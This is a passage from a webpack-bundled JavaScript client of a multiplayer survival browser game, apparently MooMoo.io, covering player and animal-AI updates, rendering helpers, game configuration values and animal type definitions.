                // WIGGLE GAME OBJECT:
                function wiggleGameObject(dir, sid) {
                    tmpObj = findObjectBySid(sid);
                    if (tmpObj) {
                        tmpObj.xWiggle += config.gatherWiggle * Math.cos(dir);
                        tmpObj.yWiggle += config.gatherWiggle * Math.sin(dir);
                    }
                }

                // SHOOT TURRET:
                function shootTurret(sid, dir) {
                    tmpObj = findObjectBySid(sid);
                    if (tmpObj) {
                        tmpObj.dir = dir;
                        tmpObj.xWiggle += config.gatherWiggle * Math.cos(dir+Math.PI);
                        tmpObj.yWiggle += config.gatherWiggle * Math.sin(dir+Math.PI);
                    }
                }

                // ADD PROJECTILE:
                function addProjectile(x, y, dir, range, speed, indx, layer, sid) {
                    if (inWindow) {
                        projectileManager.addProjectile(x, y, dir, range, speed, indx, null, null, layer).sid = sid;
                    }
                }

                // REMOVE PROJECTILE:
                function remProjectile(sid, range) {
                    for (var i = 0; i < projectiles.length; ++i) {
                        if (projectiles[i].sid == sid) {
                            projectiles[i].range = range;
                        }
                    }
                }

                // ANIMATE AI:
                function animateAI(sid) {
                    tmpObj = findAIBySID(sid);
                    if (tmpObj) tmpObj.startAnim();
                }

                // ADD AI:
                function loadAI(data) {
                    for (var i = 0; i < ais.length; ++i) {
                        ais[i].forcePos = !ais[i].visible;
                        ais[i].visible = false;
                    }
                    if (data) {
                        var tmpTime = Date.now();
                        for (var i = 0; i < data.length;) {
                            tmpObj = findAIBySID(data[i]);
                            if (tmpObj) {
                                tmpObj.index = data[i + 1];
                                tmpObj.t1 = (tmpObj.t2===undefined)?tmpTime:tmpObj.t2;
                                tmpObj.t2 = tmpTime;
                                tmpObj.x1 = tmpObj.x;
                                tmpObj.y1 = tmpObj.y;
                                tmpObj.x2 = data[i + 2];
                                tmpObj.y2 = data[i + 3];
                                tmpObj.d1 = (tmpObj.d2===undefined)?data[i + 4]:tmpObj.d2;
                                tmpObj.d2 = data[i + 4];
                                tmpObj.health = data[i + 5];
                                tmpObj.dt = 0;
                                tmpObj.visible = true;
                            } else {
                                tmpObj = aiManager.spawn(data[i + 2], data[i + 3], data[i + 4], data[i + 1]);
                                tmpObj.x2 = tmpObj.x;
                                tmpObj.y2 = tmpObj.y;
                                tmpObj.d2 = tmpObj.dir;
                                tmpObj.health = data[i + 5];
                                if (!aiManager.aiTypes[data[i + 1]].name)
                                    tmpObj.name = config.cowNames[data[i + 6]];
                                tmpObj.forcePos = true;
                                tmpObj.sid = data[i];
                                tmpObj.visible = true;
                            }
                            i+=7;
                        }
                    }
                }

                // RENDER AI:
                var aiSprites = {};
                function renderAI(obj, ctxt) {
                    var tmpIndx = obj.index;
                    var tmpSprite = aiSprites[tmpIndx];
                    if (!tmpSprite) {
                        var tmpImg = new Image();
                        tmpImg.onload = function() {
                            this.isLoaded = true;
                            this.onload = null;
                        };
                        tmpImg.src = ".././img/animals/" + obj.src + ".png";
                        tmpSprite = tmpImg;
                        aiSprites[tmpIndx] = tmpSprite;
                    }
                    if (tmpSprite.isLoaded) {
                        var tmpScale = obj.scale * 1.2 * (obj.spriteMlt||1);
                        ctxt.drawImage(tmpSprite, -tmpScale, -tmpScale, tmpScale*2, tmpScale*2);
                    }
                }

                // OBJECT ON SCREEN:
                function isOnScreen(x, y, s) {
                    return (x + s >= 0 && x - s <= maxScreenWidth && y + s >= 0 && y - s <= maxScreenHeight)
                }

                // ADD NEW PLAYER:
                function addPlayer(data, isYou) {
                    var tmpPlayer = findPlayerByID(data[0]);
                    if (!tmpPlayer) {
                        tmpPlayer = new Player(data[0], data[1], config, UTILS, projectileManager,
                                               objectManager, players, ais, items, hats, accessories);
                        players.push(tmpPlayer);
                    }
                    tmpPlayer.spawn(isYou?moofoll:null);
                    tmpPlayer.visible = false;
                    tmpPlayer.x2 = undefined;
                    tmpPlayer.y2 = undefined;
                    tmpPlayer.setData(data);
                    if (isYou) {
                        player = tmpPlayer;
                        camX = player.x;
                        camY = player.y;
                        updateItems();
                        updateStatusDisplay();
                        updateAge();
                        updateUpgrades(0);
                        gameUI.style.display = "block";
                    }
                }

                // REMOVE PLAYER:
                function removePlayer(id) {
                    for (var i = 0; i < players.length; i++) {
                        if (players[i].id == id) {
                            players.splice(i, 1);
                            break;
                        }
                    }
                }

                // UPDATE PLAYER ITEM VALUES:
                function updateItemCounts(index, value) {
                    if (player) {
                        player.itemCounts[index] = value;
                    }
                }

                // UPDATE PLAYER VALUE:
                function updatePlayerValue(index, value, updateView) {
                    if (player) {
                        player[index] = value;
                        if (updateView)
                            updateStatusDisplay();
                    }
                }

                // UPDATE HEALTH:
                function updateHealth(sid, value) {
                    tmpObj = findPlayerBySID(sid);
                    if (tmpObj) {
                        tmpObj.health = value;
                    }
                }

                // UPDATE PLAYER DATA:
                function updatePlayers(data) {
                    var tmpTime = Date.now();
                    for (var i = 0; i < players.length; ++i) {
                        players[i].forcePos = !players[i].visible;
                        players[i].visible = false;
                    }
                    for (var i = 0; i < data.length;) {
                        tmpObj = findPlayerBySID(data[i]);
                        if (tmpObj) {
                            tmpObj.t1 = (tmpObj.t2===undefined)?tmpTime:tmpObj.t2;
                            tmpObj.t2 = tmpTime;
                            tmpObj.x1 = tmpObj.x;
                            tmpObj.y1 = tmpObj.y;
                            tmpObj.x2 = data[i + 1];
                            tmpObj.y2 = data[i + 2];
                            tmpObj.d1 = (tmpObj.d2===undefined)?data[i + 3]:tmpObj.d2;
                            tmpObj.d2 = data[i + 3];
                            tmpObj.dt = 0;
                            tmpObj.buildIndex = data[i + 4];
                            tmpObj.weaponIndex = data[i + 5];
                            tmpObj.weaponVariant = data[i + 6];
                            tmpObj.team = data[i + 7];
                            tmpObj.isLeader = data[i + 8];
                            tmpObj.skinIndex = data[i + 9];
                            tmpObj.tailIndex = data[i + 10];
                            tmpObj.iconIndex = data[i + 11];
                            tmpObj.zIndex = data[i + 12];
                            tmpObj.visible = true;
                        }
                        i+=13;
                    }
                }

                // FIND OBJECTS BY ID/SID:
                function findPlayerByID(id) {
                    for (var i = 0; i < players.length; ++i) {
                        if (players[i].id == id) {
                            return players[i];
                        }
                    } return null;
                }
                function findPlayerBySID(sid) {
                    for (var i = 0; i < players.length; ++i) {
                        if (players[i].sid == sid) {
                            return players[i];
                        }
                    } return null;
                }
                function findAIBySID(sid) {
                    for (var i = 0; i < ais.length; ++i) {
                        if (ais[i].sid == sid) {
                            return ais[i];
                        }
                    } return null;
                }
                function findObjectBySid(sid) {
                    for (var i = 0; i < gameObjects.length; ++i) {
                        if (gameObjects[i].sid == sid) {
                            return gameObjects[i];
                        }
                    } return null;
                }

                // PING:
                var lastPing = -1;
                function pingSocketResponse() {
                    var pingTime = Date.now() - lastPing;
                    window.pingTime = pingTime;
                    pingDisplay.innerText = "Ping: " + pingTime + " ms"
                }
                function pingSocket() {
                    lastPing = Date.now();
                    io.send("pp");
                }

                // SERVER SHUTDOWN NOTICE:
                function serverShutdownNotice(countdown) {
                    if (countdown < 0) return;

                    var minutes = Math.floor(countdown / 60);
                    var seconds = countdown % 60;
                    seconds = ("0" + seconds).slice(-2);

                    shutdownDisplay.innerText = "Server restarting in " + minutes + ":" + seconds;
                    shutdownDisplay.hidden = false;
                }

                // UPDATE & ANIMATE:
                window.requestAnimFrame = (function() {
                    return window.requestAnimationFrame ||
                        window.webkitRequestAnimationFrame ||
                        window.mozRequestAnimationFrame ||
                        function(callback) {
                        window.setTimeout(callback, 1000 / 60);
                    };
                })();
                function doUpdate() {
                    now = Date.now();
                    delta = now - lastUpdate;
                    lastUpdate = now;
                    updateGame();
                    requestAnimFrame(doUpdate);
                }

                // START GAME:
                function startGame() {
                    bindEvents();
                    loadIcons();
                    loadingText.style.display = "none";
                    menuCardHolder.style.display = "block";
                    nameInput.value = getSavedVal("moo_name")||"";
                    prepareUI();
                }
                prepareMenuBackground();
                doUpdate();

                // OPEN LINK:
                function openLink(link) {
                    window.open(link, "_blank")
                }

                // EXPORT VALUES:
                window.openLink = openLink;
                window.aJoinReq = aJoinReq;
                window.follmoo = follmoo;
                window.kickFromClan = kickFromClan;
                window.sendJoin = sendJoin;
                window.leaveAlliance = leaveAlliance;
                window.createAlliance = createAlliance;
                window.storeBuy = storeBuy;
                window.storeEquip = storeEquip;
                window.showItemInfo = showItemInfo;
                window.selectSkinColor = selectSkinColor;
                window.changeStoreIndex = changeStoreIndex;
                window.config = config;


                /***/ }),

            /***/ "./src/js/config.js":
            /*!**************************!*\
      !*** ./src/js/config.js ***!
      \**************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(process) {
                    // RENDER:
                    module.exports.maxScreenWidth = 1920;
                    module.exports.maxScreenHeight = 1080;

                    // SERVER:
                    module.exports.serverUpdateRate = 9;
                    module.exports.maxPlayers =  (process && process.argv.indexOf("--largeserver") != -1) ? 80 : 40;
                    module.exports.maxPlayersHard =  module.exports.maxPlayers + 10;
                    module.exports.collisionDepth = 6;
                    module.exports.minimapRate = 3000;

                    // COLLISIONS:
                    module.exports.colGrid = 10;

                    // CLIENT:
                    module.exports.clientSendRate = 5;

                    // UI:
                    module.exports.healthBarWidth = 50;
                    module.exports.healthBarPad = 4.5;
                    module.exports.iconPadding = 15;
                    module.exports.iconPad = 0.9;
                    module.exports.deathFadeout = 3000;
                    module.exports.crownIconScale = 60;
                    module.exports.crownPad = 35;

                    // CHAT:
                    module.exports.chatCountdown = 3000;
                    module.exports.chatCooldown = 500;

                    // SANDBOX:
                    module.exports.inSandbox = process && process.env.VULTR_SCHEME === "mm_exp";;

                    // PLAYER:
                    module.exports.maxAge = 100;
                    module.exports.gatherAngle = Math.PI/2.6;
                    module.exports.gatherWiggle = 10;
                    module.exports.hitReturnRatio = 0.25;
                    module.exports.hitAngle = Math.PI / 2;
                    module.exports.playerScale = 35;
                    module.exports.playerSpeed = 0.0016;
                    module.exports.playerDecel = 0.993;
                    module.exports.nameY = 34;

                    // CUSTOMIZATION:
                    module.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b",
                                                 "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3",
                                                 "#8bc373"];

                    // ANIMALS:
                    module.exports.animalCount = 7;
                    module.exports.aiTurnRandom = 0.06;
                    module.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn", "Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis", "Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper",
                                               "Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion", "Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared", "July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"];

                    // WEAPONS:
                    module.exports.shieldAngle = Math.PI/3;
                    module.exports.weaponVariants = [{
                        id: 0,
                        src: "",
                        xp: 0,
                        val: 1
                    }, {
                        id: 1,
                        src: "_g",
                        xp: 3000,
                        val: 1.1
                    }, {
                        id: 2,
                        src: "_d",
                        xp: 7000,
                        val: 1.18
                    }, {
                        id: 3,
                        src: "_r",
                        poison: true,
                        xp: 12000,
                        val: 1.18
                    }];
                    module.exports.fetchVariant = function(player) {
                        var tmpXP = player.weaponXP[player.weaponIndex]||0;
                        for (var i = module.exports.weaponVariants.length - 1; i >= 0; --i) {
                            if (tmpXP >= module.exports.weaponVariants[i].xp)
                                return module.exports.weaponVariants[i];
                        }
                    };

                    // NATURE:
                    module.exports.resourceTypes = ["wood", "food", "stone", "points"];
                    module.exports.areaCount = 7;
                    module.exports.treesPerArea = 9;
                    module.exports.bushesPerArea = 3;
                    module.exports.totalRocks = 32;
                    module.exports.goldOres = 7;
                    module.exports.riverWidth = 724;
                    module.exports.riverPadding = 114;
                    module.exports.waterCurrent = 0.0011;
                    module.exports.waveSpeed = 0.0001;
                    module.exports.waveMax = 1.3;
                    module.exports.treeScales = [150, 160, 165, 175];
                    module.exports.bushScales = [80, 85, 95];
                    module.exports.rockScales = [80, 85, 90];

                    // BIOME DATA:
                    module.exports.snowBiomeTop = 2400;
                    module.exports.snowSpeed = 0.75;

                    // DATA:
                    module.exports.maxNameLength = 15;

                    // MAP:
                    module.exports.mapScale = 14400;
                    module.exports.mapPingScale = 40;
                    module.exports.mapPingTime = 2200;

                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../node_modules/process/browser.js */ "./node_modules/process/browser.js")))

                /***/ }),

            /***/ "./src/js/data/ai.js":
            /*!***************************!*\
      !*** ./src/js/data/ai.js ***!
      \***************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                var PI2 = Math.PI * 2;
                module.exports = function(sid, objectManager, players, items, UTILS, config, scoreCallback, server) {
                    this.sid = sid;
                    this.isAI = true;
                    this.nameIndex = UTILS.randInt(0, config.cowNames.length-1);

                    // INIT:
                    this.init = function(x, y, dir, index, data) {
                        this.x = x;
                        this.y = y;
                        this.startX = data.fixedSpawn?x:null;
                        this.startY = data.fixedSpawn?y:null;
                        this.xVel = 0;
                        this.yVel = 0;
                        this.zIndex = 0;
                        this.dir = dir;
                        this.dirPlus = 0;
                        this.index = index;
                        this.src = data.src;
                        if (data.name) this.name = data.name;
                        this.weightM = data.weightM;
                        this.speed = data.speed;
                        this.killScore = data.killScore;
                        this.turnSpeed = data.turnSpeed;
                        this.scale = data.scale;
                        this.maxHealth = data.health;
                        this.leapForce = data.leapForce;
                        this.health = this.maxHealth;
                        this.chargePlayer = data.chargePlayer;
                        this.viewRange = data.viewRange;
                        this.drop = data.drop;
                        this.dmg = data.dmg;
                        this.hostile = data.hostile;
                        this.dontRun = data.dontRun;
                        this.hitRange = data.hitRange;
                        this.hitDelay = data.hitDelay;
                        this.hitScare = data.hitScare;
                        this.spriteMlt = data.spriteMlt;
                        this.nameScale = data.nameScale;
                        this.colDmg = data.colDmg;
                        this.noTrap = data.noTrap;
                        this.spawnDelay = data.spawnDelay;
                        this.hitWait = 0;
                        this.waitCount = 1000;
                        this.moveCount = 0;
                        this.targetDir = 0;
                        this.active = true;
                        this.alive = true;
                        this.runFrom = null;
                        this.chargeTarget = null;
                        this.dmgOverTime = {};
                    };

                    // UPDATE:
                    var timerCount = 0;
                    this.update = function(delta) {
                        if (this.active) {

                            // SPAWN DELAY:
                            if (this.spawnCounter) {
                                this.spawnCounter -= delta;
                                if (this.spawnCounter <= 0) {
                                    this.spawnCounter = 0;
                                    this.x = this.startX||UTILS.randInt(0, config.mapScale);
                                    this.y = this.startY||UTILS.randInt(0, config.mapScale);
                                }
                                return;
                            }

                            // REGENS AND AUTO:
                            timerCount -= delta;
                            if (timerCount <= 0) {
                                if (this.dmgOverTime.dmg) {
                                    this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer);
                                    this.dmgOverTime.time -= 1;
                                    if (this.dmgOverTime.time <= 0)
                                        this.dmgOverTime.dmg = 0;
                                }
                                timerCount = 1000;
                            }

                            // BEHAVIOUR:
                            var charging = false;
                            var slowMlt = 1;
                            if (!this.zIndex && !this.lockMove && this.y >= (config.mapScale / 2) - (config.riverWidth / 2) &&
                                this.y <= (config.mapScale / 2) + (config.riverWidth / 2)) {
                                slowMlt = 0.33;
                                this.xVel += config.waterCurrent * delta;
                            }
                            if (this.lockMove) {
                                this.xVel = 0;
                                this.yVel = 0;
                            } else if (this.waitCount > 0) {
                                this.waitCount -= delta;
                                if (this.waitCount <= 0) {
                                    if (this.chargePlayer) {
                                        var tmpPlayer, bestDst, tmpDist;
                                        for (var i = 0; i < players.length; ++i) {
                                            if (players[i].alive && !(players[i].skin && players[i].skin.bullRepel)) {
                                                tmpDist = UTILS.getDistance(this.x, this.y, players[i].x, players[i].y);
                                                if (tmpDist <= this.viewRange && (!tmpPlayer || tmpDist < bestDst)) {
                                                    bestDst = tmpDist;
                                                    tmpPlayer = players[i];
                                                }
                                            }
                                        }
                                        if (tmpPlayer) {
                                            this.chargeTarget = tmpPlayer;
                                            this.moveCount = UTILS.randInt(8000, 12000);
                                        } else {
                                            this.moveCount = UTILS.randInt(1000, 2000);
                                            this.targetDir = UTILS.randFloat(-Math.PI, Math.PI);
                                        }
                                    } else {
                                        this.moveCount = UTILS.randInt(4000, 10000);
                                        this.targetDir = UTILS.randFloat(-Math.PI, Math.PI);
                                    }
                                }
                            } else if (this.moveCount > 0) {
                                var tmpSpd = this.speed * slowMlt;
                                if (this.runFrom && this.runFrom.active && !(this.runFrom.isPlayer && !this.runFrom.alive)) {
                                    this.targetDir = UTILS.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y);
                                    tmpSpd *= 1.42;
                                } else if (this.chargeTarget && this.chargeTarget.alive) {
                                    this.targetDir = UTILS.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y);
                                    tmpSpd *= 1.75;
                                    charging = true;
                                } if (this.hitWait) {
                                    tmpSpd *= 0.3;
                                }
                                if (this.dir != this.targetDir) {
                                    this.dir %= PI2;
                                    var netAngle = (this.dir - this.targetDir + PI2) % PI2;
                                    var amnt = Math.min(Math.abs(netAngle - PI2), netAngle, this.turnSpeed * delta);
                                    var sign = (netAngle - Math.PI)>=0?1:-1;
                                    this.dir += sign * amnt + PI2;
                                }
                                this.dir %= PI2;
                                this.xVel += (tmpSpd * delta) * Math.cos(this.dir);
                                this.yVel += (tmpSpd * delta) * Math.sin(this.dir);
                                this.moveCount -= delta;
                                if (this.moveCount <= 0) {
                                    this.runFrom = null;
                                    this.chargeTarget = null;
                                    this.waitCount = this.hostile?1500:UTILS.randInt(1500, 6000);
                                }
                            }

                            // OBJECT COLL:
                            this.zIndex = 0;
                            this.lockMove = false;
                            var tmpList;
                            var tmpSpeed = UTILS.getDistance(0, 0, this.xVel * delta, this.yVel * delta);
                            var depth = Math.min(4, Math.max(1, Math.round(tmpSpeed / 40)));
                            var tMlt = 1 / depth;
                            for (var i = 0; i < depth; ++i) {
                                if (this.xVel)
                                    this.x += (this.xVel * delta) * tMlt;
                                if (this.yVel)
                                    this.y += (this.yVel * delta) * tMlt;
                                tmpList = objectManager.getGridArrays(this.x, this.y, this.scale);
                                for (var x = 0; x < tmpList.length; ++x) {
                                    for (var y = 0; y < tmpList[x].length; ++y) {
                                        if (tmpList[x][y].active)
                                            objectManager.checkCollision(this, tmpList[x][y], tMlt);
                                    }
                                }
                            }

                            // HITTING:
                            var hitting = false;
                            if (this.hitWait > 0) {
                                this.hitWait -= delta;
                                if (this.hitWait <= 0) {
                                    hitting = true;
                                    this.hitWait = 0;
                                    if (this.leapForce && !UTILS.randInt(0, 2)) {
                                        this.xVel += this.leapForce * Math.cos(this.dir);
                                        this.yVel += this.leapForce * Math.sin(this.dir);
                                    }
                                    var tmpList = objectManager.getGridArrays(this.x, this.y, this.hitRange);
                                    var tmpObj, tmpDst;
                                    for (var t = 0; t < tmpList.length; ++t) {
                                        for (var x = 0; x < tmpList[t].length; ++x) {
                                            tmpObj = tmpList[t][x];
                                            if (tmpObj.health) {
                                                tmpDst = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y);
                                                if (tmpDst < tmpObj.scale + this.hitRange) {
                                                    if (tmpObj.changeHealth(-this.dmg * 5)) objectManager.disableObj(tmpObj);
                                                    objectManager.hitObj(tmpObj, UTILS.getDirection(this.x, this.y, tmpObj.x, tmpObj.y));
                                                }
                                            }
                                        }
                                    }
                                    for (var x = 0; x < players.length; ++x) {
                                        if (players[x].canSee(this)) {
                                            server.send(players[x].id, "aa", this.sid);
                                        }
                                    }
                                }
                            }

                            // PLAYER COLLISIONS:
                            if (charging || hitting) {
                                var tmpObj, tmpDst, tmpDir;
                                for (var i = 0; i < players.length; ++i) {
                                    tmpObj = players[i];
                                    if (tmpObj && tmpObj.alive) {
                                        tmpDst = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y);
                                        if (this.hitRange) {
                                            if  (!this.hitWait && tmpDst <= this.hitRange + tmpObj.scale) {
                                                if (hitting) {
                                                    tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                                    tmpObj.changeHealth(-this.dmg);
                                                    tmpObj.xVel += 0.6 * Math.cos(tmpDir);
                                                    tmpObj.yVel += 0.6 * Math.sin(tmpDir);
                                                    this.runFrom = null;
                                                    this.chargeTarget = null;
                                                    this.waitCount = 3000;
                                                    this.hitWait = (!UTILS.randInt(0, 2)?600:0);
                                                } else this.hitWait = this.hitDelay;
                                            }
                                        } else if (tmpDst <= this.scale + tmpObj.scale) {
                                            tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                            tmpObj.changeHealth(-this.dmg);
                                            tmpObj.xVel += 0.55 * Math.cos(tmpDir);
                                            tmpObj.yVel += 0.55 * Math.sin(tmpDir);
                                        }
                                    }
                                }
                            }

                            // DECEL:
                            if (this.xVel)
                                this.xVel *= Math.pow(config.playerDecel, delta);
                            if (this.yVel)
                                this.yVel *= Math.pow(config.playerDecel, delta);

                            // MAP BOUNDARIES:
                            var tmpScale = this.scale;
                            if (this.x - tmpScale < 0) {
                                this.x = tmpScale;
                                this.xVel = 0;
                            } else if (this.x + tmpScale > config.mapScale) {
                                this.x = config.mapScale - tmpScale;
                                this.xVel = 0;
                            } if (this.y - tmpScale < 0) {
                                this.y = tmpScale;
                                this.yVel = 0;
                            } else if (this.y + tmpScale > config.mapScale) {
                                this.y = config.mapScale - tmpScale;
                                this.yVel = 0;
                            }

                        }
                    };

                    // CAN SEE:
                    this.canSee = function(other) {
                        if (!other) return false;
                        if (other.skin && other.skin.invisTimer && other.noMovTimer
                            >= other.skin.invisTimer) return false;
                        var dx = Math.abs(other.x - this.x) - other.scale;
                        var dy = Math.abs(other.y - this.y) - other.scale;
                        return dx <= (config.maxScreenWidth / 2) * 1.3 && dy <= (config.maxScreenHeight / 2) * 1.3;
                    };

                    var tmpRatio = 0;
                    var animIndex = 0;
                    this.animate = function(delta) {
                        if (this.animTime > 0) {
                            this.animTime -= delta;
                            if (this.animTime <= 0) {
                                this.animTime = 0;
                                this.dirPlus = 0;
                                tmpRatio = 0;
                                animIndex = 0;
                            } else {
                                if (animIndex == 0) {
                                    tmpRatio += delta / (this.animSpeed * config.hitReturnRatio);
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.min(1, tmpRatio));
                                    if (tmpRatio >= 1) {
                                        tmpRatio = 1;
                                        animIndex = 1;
                                    }
                                } else {
                                    tmpRatio -= delta / (this.animSpeed * (1-config.hitReturnRatio));
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.max(0, tmpRatio));
                                }
                            }
                        }
                    };

                    // ANIMATION:
                    this.startAnim = function() {
                        this.animTime = this.animSpeed = 600;
                        this.targetAngle = Math.PI * 0.8;
                        tmpRatio = 0;
                        animIndex = 0;
                    };

                    // CHANGE HEALTH:
                    this.changeHealth = function(val, doer, runFrom) {
                        if (this.active) {
                            this.health += val;
                            if (runFrom) {
                                if (this.hitScare && !UTILS.randInt(0, this.hitScare)) {
                                    this.runFrom = runFrom;
                                    this.waitCount = 0;
                                    this.moveCount = 2000;
                                } else if (this.hostile && this.chargePlayer && runFrom.isPlayer) {
                                    this.chargeTarget = runFrom;
                                    this.waitCount = 0;
                                    this.moveCount = 8000;
                                } else if (!this.dontRun) {
                                    this.runFrom = runFrom;
                                    this.waitCount = 0;
                                    this.moveCount = 2000;
                                }
                            }
                            if (val < 0 && this.hitRange && UTILS.randInt(0, 1)) this.hitWait = 500;
                            if (doer && doer.canSee(this) && val < 0) {
                                server.send(doer.id, "t", Math.round(this.x),
                                            Math.round(this.y), Math.round(-val), 1);
                            } if (this.health <= 0) {
                                if (this.spawnDelay) {
                                    this.spawnCounter = this.spawnDelay;
                                    this.x = -1000000;
                                    this.y = -1000000;
                                } else {
                                    this.x = this.startX||UTILS.randInt(0, config.mapScale);
                                    this.y = this.startY||UTILS.randInt(0, config.mapScale);
                                }
                                this.health = this.maxHealth;
                                this.runFrom = null;
                                if (doer) {
                                    scoreCallback(doer, this.killScore);
                                    if (this.drop) {
                                        for (var i = 0; i < this.drop.length;) {
                                            doer.addResource(config.resourceTypes.indexOf(this.drop[i]), this.drop[i+1]);
                                            i+=2;
                                        }
                                    }
                                }
                            }
                        }
                    };

                };


                /***/ }),

            /***/ "./src/js/data/aiManager.js":
            /*!**********************************!*\
      !*** ./src/js/data/aiManager.js ***!
      \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // AI MANAGER:
                module.exports = function(ais, AI, players, items, objectManager, config, UTILS, scoreCallback, server) {

                    // AI TYPES:
                    this.aiTypes = [{
                        id: 0,
                        src: "cow_1",
                        killScore: 150,
                        health: 500,
                        weightM: 0.8,
                        speed: 0.00095,
                        turnSpeed: 0.001,
                        scale: 72,
                        drop: ["food", 50]
                    }, {
                        id: 1,
                        src: "pig_1",
                        killScore: 200,
                        health: 800,
                        weightM: 0.6,
                        speed: 0.00085,
                        turnSpeed: 0.001,
                        scale: 72,
                        drop: ["food", 80]
                    }, {
                        id: 2,
                        name: "Bull",
                        src: "bull_2",
                        hostile: true,
                        dmg: 20,
                        killScore: 1000,
                        health: 1800,
                        weightM: 0.5,
                        speed: 0.00094,
                        turnSpeed: 0.00074,
                        scale: 78,
                        viewRange: 800,
                        chargePlayer: true,
                        drop: ["food", 100]
                    }, {
                        id: 3,
                        name: "Bully",
                        src: "bull_1",
                        hostile: true,
                        dmg: 20,
                        killScore: 2000,
                        health: 2800,
                        weightM: 0.45,
                        speed: 0.001,
                        turnSpeed: 0.0008,
                        scale: 90,
                        viewRange: 900,
                        chargePlayer: true,
                        drop: ["food", 400]
                    }, {
                        id: 4,
                        name: "Wolf",
                        src: "wolf_1",
                        hostile: true,
                        dmg: 8,
                        killScore: 500,
                        health: 300,
                        weightM: 0.45,
                        speed: 0.001,
                        turnSpeed: 0.002,
                        scale: 84,
                        viewRange: 800,
                        chargePlayer: true,
                        drop: ["food", 200]
                    }, {
                        id: 5,
                        name: "Quack",
                        src: "chicken_1",
                        dmg: 8,
                        killScore: 2000,
                        noTrap: true,
                        health: 300,
                        weightM: 0.2,
                        speed: 0.0018,
                        turnSpeed: 0.006,
                        scale: 70,
                        drop: ["food", 100]
                    }, {
                        id: 6,
                        name: "MOOSTAFA",
                        nameScale: 50,
                        src: "enemy",
                        hostile: true,
                        dontRun: true,
                        fixedSpawn: true,
                        spawnDelay: 60000,
                        noTrap: true,
                        colDmg: 100,
                        dmg: 40,
                        killScore: 8000,
                        health: 18000,
                        weightM: 0.4,
                        speed: 0.0007,
                        turnSpeed: 0.01,
                        scale: 80,
                        spriteMlt: 1.8,
                        leapForce: 0.9,
                        viewRange: 1000,
                        hitRange: 210,
                        hitDelay: 1000,
                        chargePlayer: true,
                        drop: ["food", 100]
                    }, {
                        id: 7,
                        name: "Treasure",
                        hostile: true,
                        nameScale: 35,
                        src: "crate_1",
                        fixedSpawn: true,
                        spawnDelay: 120000,
                        colDmg: 200,
                        killScore: 5000,
                        health: 20000,
                        weightM: 0.1,
                        speed: 0.0,
                        turnSpeed: 0.0,
                        scale: 70,
                        spriteMlt: 1.0
                    }, {
                        id: 8,
                        name: "MOOFIE",
                        src: "wolf_2",
                        hostile: true,
                        fixedSpawn: true,
                        dontRun: true,
                        hitScare: 4,
                        spawnDelay: 30000,
                        noTrap: true,
                        nameScale: 35,
                        dmg: 10,
                        colDmg: 100,
                        killScore: 3000,
                        health: 7000,
                        weightM: 0.45,
                        speed: 0.0015,
                        turnSpeed: 0.002,
                        scale: 90,
                        viewRange: 800,
                        chargePlayer: true,
                        drop: ["food", 1000]
                    }];

                    // SPAWN AI:
                    this.spawn = function(x, y, dir, index) {
                        var tmpObj;
                        for (var i = 0; i < ais.length; ++i) {
                            if (!ais[i].active) {
                                tmpObj = ais[i];
                                break;
                            }
                        }
                        if (!tmpObj) {
                            tmpObj = new AI(ais.length, objectManager, players, items, UTILS, config, scoreCallback, server);
                            ais.push(tmpObj);
                        }
                        tmpObj.init(x, y, dir, index, this.aiTypes[index]);
                        return tmpObj;
                    };

                };


                /***/ }),

            /***/ "./src/js/data/gameObject.js":
            /*!***********************************!*\
      !*** ./src/js/data/gameObject.js ***!
      \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function (sid) {
                    this.sid = sid;

                    // INIT:
                    this.init = function(x, y, dir, scale, type, data, owner) {
                        data = data||{};
                        this.sentTo = {};
                        this.gridLocations = [];
                        this.active = true;
                        this.doUpdate = data.doUpdate;
                        this.x = x;
                        this.y = y;
                        this.dir = dir;
                        this.xWiggle = 0;
                        this.yWiggle = 0;
                        this.scale = scale;
                        this.type = type;
                        this.id = data.id;
                        this.owner = owner;
                        this.name = data.name;
                        this.isItem = (this.id!=undefined);
                        this.group = data.group;
                        this.health = data.health;
                        this.layer = 2;
                        if (this.group != undefined) {
                            this.layer = this.group.layer;
                        } else if (this.type == 0) {
                            this.layer = 3;
                        } else if (this.type == 2) {
                            this.layer = 0;
                        }  else if (this.type == 4) {
                            this.layer = -1;
                        }
                        this.colDiv = data.colDiv||1;
                        this.blocker = data.blocker;
                        this.ignoreCollision = data.ignoreCollision;
                        this.dontGather = data.dontGather;
                        this.hideFromEnemy = data.hideFromEnemy;
                        this.friction = data.friction;
                        this.projDmg = data.projDmg;
                        this.dmg = data.dmg;
                        this.pDmg = data.pDmg;
                        this.pps = data.pps;
                        this.zIndex = data.zIndex||0;
                        this.turnSpeed = data.turnSpeed;
                        this.req = data.req;
                        this.trap = data.trap;
                        this.healCol = data.healCol;
                        this.teleport = data.teleport;
                        this.boostSpeed = data.boostSpeed;
                        this.projectile = data.projectile;
                        this.shootRange = data.shootRange;
                        this.shootRate = data.shootRate;
